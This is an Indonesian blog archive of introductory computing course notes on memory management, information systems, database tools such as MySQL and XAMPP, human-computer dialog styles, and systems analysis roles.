Manajemen memori sangat mempengarui kinerjacomputer.Dalam manajemen memori ada istilah yang disebut alamat yakni arraybesar dari word atau byte. CPU mengambil instruksi dari memoryberdasarkan nilai dari program counter.Dalam Manajemen memory ada beberapa istilah antara lain : addressbinding, dynamic loading, dynamic linking dan overlay.

TUGAS DAN FUNGSIMANAJEMEN MEMORY

Manajemen memorimelakukan tugas penting dan kompleks berkaitan dengan:

• Sumberdayayang harus dipakai bersama di antara sejumlah proses yang aktif.

• Upayaagar pemrogram dan proses tidak dibatasi kapasitas memori fisik di sistem computer

Manajemen memorimempunyai fungsi sebagai berikut:

• mengelola informasi memori yang dipakaidan tidak dipakai

• mengalokasikan memori ke proses yang memerlukan

• mendealokasikan memori dari proses telahselesai

• mengelola swapping antarmemori utama dan disk

Swapping : adalah pemindahan proses dari memori utama kedisk dan sebaliknya

PENGERTIAN SISTEM INFORMASI

2011-09-27T05:45:00.000-07:00

Sistem Informasi

SI adalah suatu suatu sistem dalam suatu organisasi yang merupakan kombinasi dari orang-orang, fasilitas, teknologi, media, prosedur dan pengendalian untuk mendapatkan jalur komunikasi penting, memproses tipe transaksi rutin tertentu, memberi sinyal kepada manajemen dan yang lainnya terhadap kejadian-kejadian internal dan eksternal yang penting dan menyediakan suatu dasar informasi untuk pengambilan keputusan
SIM adalah sekumpulan elemen yang saling berhubungan, saling berinteraksi dan bekerjasama antara berbagai bagian dengan cara-cara tertentu untuk melakukan fungsi pengolahan data, pemasukan data, dan menghasilkan keluaran berupa informasi yang berguna dan mempunyai nilai nyata, sebagai dasar pengambilan keputusan, mendukung kegiatan manajemen dan operasional dengan memanfaatkan berbagai sumberdaya yang ada bagi proses tersebut guna mencapai tujuan organisasi

Komponen sistem informasi

SI terdiri dari beberapa komponen, antara lain :

Hardware : CPU, Disk, Terminal, Printer
Software : Sistem operasi, sistem basis data, program aplikasi
Personil : Operator sistem, Penyedia masukan, Pengguna keluaran
Data : data yang tersimpan dalam jangka waktu tertentu
Prosedur : instruksi dan kebijaksanaan untuk mengoperasikan sistem

SOFTWARE DATABASE

2011-08-24T13:01:00.000-07:00

Beberapa macam software database yang digunakan sebagai penunjang menejemen informasi dan menejemen data adalah sebagai berikut.

MySQL

MySQL merupakan salah satu perangkat lunak sistem manajemen basis data (database management system) atau DBMS yang menggunakan perintah standar SQL (Structured Query Language). Dimana MySQL mampu untuk melakukan banyak eksekusi perintah query dalam satu permintaan (multithread), baik itu menerima dan mengirimkan data. MySQL juga multi-user dalam arti dapat dipergunakan oleh banyak pengguna dalam waktu bersamaan. Dengan sekitar enam juta instalasi di seluruh dunia. MySQL tersedia dalam perangkat lunak gratis dibawah lisensi GNU General Public Lisence (GPL) dan juga menjual dalam lisensi komersial untuk keperluan jika penggunanya tidak cocok menggunakan lisensi General Public Lisence.

Penggunaan MySQL yang merupakan sebuah database server sekaligus dapat sebagai client, dan dapat berjalan di multi-OS (operating system) memiliki keunggulan lainnya seperti OpenSource sehingga penggunanya tidak perlu membayar lisensi kepada pembuatnya. Dapat mendukung database dengan kapasitas yang sangat besar. Merupakan database management system (DBMS) yang mudah digunakan. Didukung oleh driver ODBC, sehingga database MySQL dapat diakses oleh aplikasi apa saja. Bahasa pemrograman yang dapat digunakan untuk mengakses MySQL diantaranya adalah dengan C, C++, Java, Perl, PHP, Phyton, dan APIs.

MyVbQL

MyVbQL adalah application programming interface (API) pada Visual Basic yang dibuat oleh icarz.Inc. MyVbQL merupakan alternatif dari penggunaan driver MS ADO MyODBC yang digunakan oleh pengguna Visual Basic untuk mengakses basis data MySQL. Pembuatan MyVbQL bertujuan untuk mengurangi ukuran setup perangkat lunak.

PhPMyAdmin

PhpMyAdmin adalah suatu alat bantu open source yang ditulis dalam PHP yang digunakan untuk menangani administrasi basis data Mysql yang diakses melalui web browser (internet explorer, fireFox, opera, dan lain-lain). Fasilitas yang tersedia pada PhpMyAdmin saat ini adalah dapat membuat dan menghapus database, membuat, menghapus dan menambah tabel, menghapus, mengedit dan menambah field, melakukan berbagai macam perintah SQL, mengatur kunci pada field, mengatur akses (privileges), mengekspor data ke berbagai format.

XAMPP

XAMPP adalah perangkat lunak gratis, yang mendukung banyak sistem operasi, merupakan kompilasi dari beberapa program untuk menjankan fungsinya sebagai server yang berdiri sendiri, yang terdiri atas program Apache HTTP Server, MySQL database, dan penterjemah bahasa yang ditulis dengan bahasa pemrogramaan PHP dan Perl. XAMPP adalah nama yang merupakan singkatan dari X (empat sistem operasi apapun), Apache, MySQL, PHP dan Perl. Program ini tersedia dalam GNU General Public License dan bebas. XAMPP merupakan web server yang mudah digunakan yang dapat mampu melayani halaman dinamis. Saat ini, XAMPP tersedia untuk sistem operasi Microsoft Windows, Linux, Sun Solaris dan Mac OS X.

RAGAM DIALOG INTERAKSI MANUSIA KOMPUTER

2011-08-24T12:51:00.000-07:00

RAGAM DIALOG INTERAKSI MANUSIA DENGAN KOMPUTER

Adalah Kemampuan kita untuk memahami berbagai sistem interaksi yang di gunakan dewasa ini.

A. Tiga tingkatan bahasa komputer yang perlu kita perhatikan sebelum kita dapat merancang suatu dialog dengan komputer :

- Leksikal

- Sintaks

- Semantik

B. Karakteristik Ragam Dialog

- Inisiatif

- Keluesan

- Kompleksitas

- Beban Informasi

- Kekuatan

- Konsistensi

- Umpan balik

- Observabilitas

- Kontrobilitas

- Efisiensi

- Keseimbangan

C. Kecakapan Manusia dan Kecakapan Komputer

Manusia :

- Etimasi

- Intuisi

- Kreatifitas

- Adaptasi

- Kesadaran Serempak

- Pengolahan Pengecualian

- Memori asosiatif

- Pengambilan keputusan nondeterministik

- Pengendalian pola

- Pengetahuan dunia

- Kesalahan manusiawi

Komputer :

- Kalkulasi darurat

- Dedukasi logika

- Aktifitas perdagangan

- Konsistensi

- Multitasting

- Pengolahan rutin

- Penyimpangan dan Pemanggilan

- Pengambilan keputusan deterministik

- Pengolahan data

- Pengetahuan domain

- Bebas dari kesalahan

D. Ragam Dialog Interaktif

Dialog berbasis perintah tunggal

Keuntungan :

- Cepat - Efisien

- Akurat - Ringkas

- Luwes - Inisiatif oleh Pengguna

- Appealing / mudah di ingat

Kerugian :

- Memerlukan Pelatihan yang lama

- Membutuhkan Pengggunaan yang teratur

- Beban ingatan yang tinggi

- Jelek dalam menangani kesalahan

Dialog berbasis bahasa pemrograman

Antarmuka berbasis bahasa alami

Keuntungan :

- Tidak memerlukan sintaksis khusus

- Luwes dan Powerful

- Alamiah

- Merupakan inisiatif campuran

Kerugian :

- Mempunyai dualisme

- Tidak Presis

- Bertele-tele

- Perancangan Perangkat Lunak yang rumit

- Tidak efisien

1) Sistem Menu

Keuntungan :

- Memerlukan sedikit pengetikan

- Beban memori rendah

- Struktur terdefinisi dengan baik

- Perancangan yang mudah

- Tersedia piranti bantu CAD

Kerugian :

- Seringkali lambat

- Memakan ruang layar

- Tidak cocok untuk aktifitas Pemasukan data

- Tidak cocok untuk dialog terinisasi pengguna

- Tidak cocok untuk dialog terinisasi campuran

2) Dialog Berbasis Pengisisan Barang

Keuntungan :

- Pengguna sudah terbiasa dengan pengisian barang

- Isian data di sederhanakan

- Beban memori rendah

- Struktur Jelas

- Perancangan yang mudah

Kerugian :

- Seringkali lambat - Memakan ruang layar

- Tidak cocok untuk pemilihan perintah - Memerlukan pengontrolan kursor

- Memerlukan suatu bentuk pelatihan

3) Antarmuka berbasis ikon

4) Sistem Penjendelaan

5) Manipulasi Langsung

Kelebihan :

- Kompabilitas pada kendali dan tampilkan

- Lebih sedikit sintaks

- Cepat di pelajari dan lebih mudah untuk di ingat

Kekurangan :

- Menggunakan lebih banyak sumber daya sistem

- Beberapa aksi yang di gunakan menjadi dangat sulit

- Sulit di catat dan di telusuri

6) Manipulasi Langsung Remote

7) Antarmuka berbasis Interaksi Grafis

SYSTEM ANALISIS DAN DESAIN

2011-08-24T12:43:00.000-07:00



 read more..

SISTEM ANALISIS

•Suatu pendekatan sistematis untuk mengidentifikasi masalah,

kesempatan dan objektifitas

•Analisa diagram alir informasi dari suatu organisasi

•Penjelasan dari informasi yang komplek kepada staff non teknis

•Desain dari sistem informasi

PERAN ANALIS SISTEM

•Pemahaman bahwa informasi sebagai sumber daya organisasi

•Mengelola informasi yang dihasilkan oleh komputer

•Mengelola informasi sebagai suatu sumber daya

JENIS-JENIS SISTEM

•Transaction Processing Systems (TPS)

•Sistem Informasi Manajemen (SIM)

•Office Automation Systems dan Knowledge Work System(OAS dan KWS)

•Sistem Ahli dan Kecerdasan Buatan (AI)

•Decission Support Systems (DSS)

•Group Decission Support Systems dan Computer-Supported Colaborative Work Systems (GDSS dan CSCW)

•Executive Support Systems (ESS)

TEKNOLOGI INTEGRASI UNTUK SISTEM

•Sistem Enterprise Resource Planning

•Aplikasi E-Commerce dan Web Sistem

•Perangkat lunak Open Source

•Sistem untuk perangkat Nirkabel dan Hendheld

PERAN ANALIS SISTEM

•Sebagai konsultan

•Sebagai ahli pendukung

•Sebagai agen Perubahan

•Sebagai pengontrol kualitas Sistem